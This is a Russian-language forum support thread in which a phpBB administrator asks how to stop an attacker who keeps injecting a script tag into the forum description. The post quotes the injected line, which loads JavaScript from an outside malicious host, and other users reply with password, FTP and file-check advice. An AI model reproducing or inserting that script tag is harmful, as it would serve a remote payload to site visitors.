Постоянно взламывают - внедряют в описание ява

[CJ John PM]

У форума есть описание и вот в это поле всё время какой-то злоумышленник вставляет строку:
По ссылкам не переходить!

Код: Выделить всё

<script type="text/javascript" src="http://manyq-files.com/r.php?go=http%3A//manyq-files.com/opera%3Fwkey%3D6380"></script>

Я не знаю как защититься от этой напасти. Что посоветуете? Можно ли как-то таблицу заблокировать от изменения?

[МайскийЖук]

Поменять пароли администраторов. Установить средства против спама на форуме. Поменять пароль от FTP-аккаунта на хостинге.

[HAMMER663]

заполняйте шаблон запроса. вы даже версию форума не указали

[CJ John PM]

Прошу прощения. Версия последняя 3.0.10.

Как-то можно всё-таки настроить права для таблицы config, чтобы в неё нельзя было внести изменения вообще никак, кроме как через phpMyAdmin?

[МайскийЖук]

И как вы собираетесь менять настройки форума в администраторской панели с закрытой таблицей?

[CJ John PM]

Не буду менять, а если надо будет, то либо сделаю настройку обратно, либо через phpmyadmin. Ну а что ещё делать? Я просто не знаю как ещё с этим бороться, надоело уже... Я администратор с админскими правами один и у меня стоит двойная авторизация (через htaccess и обычная). Если бы через фтп гадили, то наверняка файлики какие-то были бы поправлены, а ведь тут чисто через какую-то sql-инъекцию что ли...

[владимир1983]

Что стоит из модификаций?
Проверяли папки форума на наличие в них посторонних файлов?
Форум стоит в папке или в отдельной директории?
Интеграция с чем либо присутствует?
Помимо форума есть ещё какие либо скрипты на сервере?
Пробовали закрывать FTP доступ, меняли пароли?

[CJ John PM]

Что стоит из модификаций?
posts_merging_1.0.11_secured
thanks_for_post_v131
скрипт генерации статических файлов с заголовками тем, где были последние сообщения - для использования на другом сайте
Проверяли папки форума на наличие в них посторонних файлов?
Да, ничего не нашёл
Форум стоит в папке или в отдельной директории?
отдельный домен, лежит в корне
Интеграция с чем либо присутствует?
нет
Помимо форума есть ещё какие либо скрипты на сервере?
на всём сервере конечно, а вот именно на веб-сервере сайта форума ничего больше
Пробовали закрывать FTP доступ, меняли пароли?
поменял пароль для ftp, поменяю ещё на админку сейчас